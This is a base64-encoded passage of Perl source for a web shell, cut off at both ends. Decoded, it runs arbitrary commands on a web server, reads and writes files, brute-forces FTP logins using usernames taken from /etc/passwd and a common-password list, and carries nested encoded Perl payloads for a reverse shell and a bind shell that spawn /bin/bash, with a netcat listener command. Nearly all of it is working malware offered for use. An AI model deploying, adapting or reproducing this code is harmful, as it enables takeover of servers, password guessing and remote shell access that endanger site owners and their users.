hlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOwoJbXkgJHJlc3VsdD0iIjsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQgPSIiOwoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNzOjxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwoxMjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dvcmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcKNjc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAjCiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91CjwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoJHVzZXJuYW1lIG5lICIiKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjEyIiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9InZpbmFraWQiPjwvdGQ+Cgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLgoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgU29ja2V0OwkKCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsKCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7CgoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsKCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsKCWlmKCRDbGllbnRQb3J0IGVxIDApCgl7CgkJcmV0dXJuICZCYWNrQmluZEZvcm07Cgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsKCQlpZigtdyAiL3RtcC8iKQoJCXsKCQkJJEZpbGU9Ii90bXAvY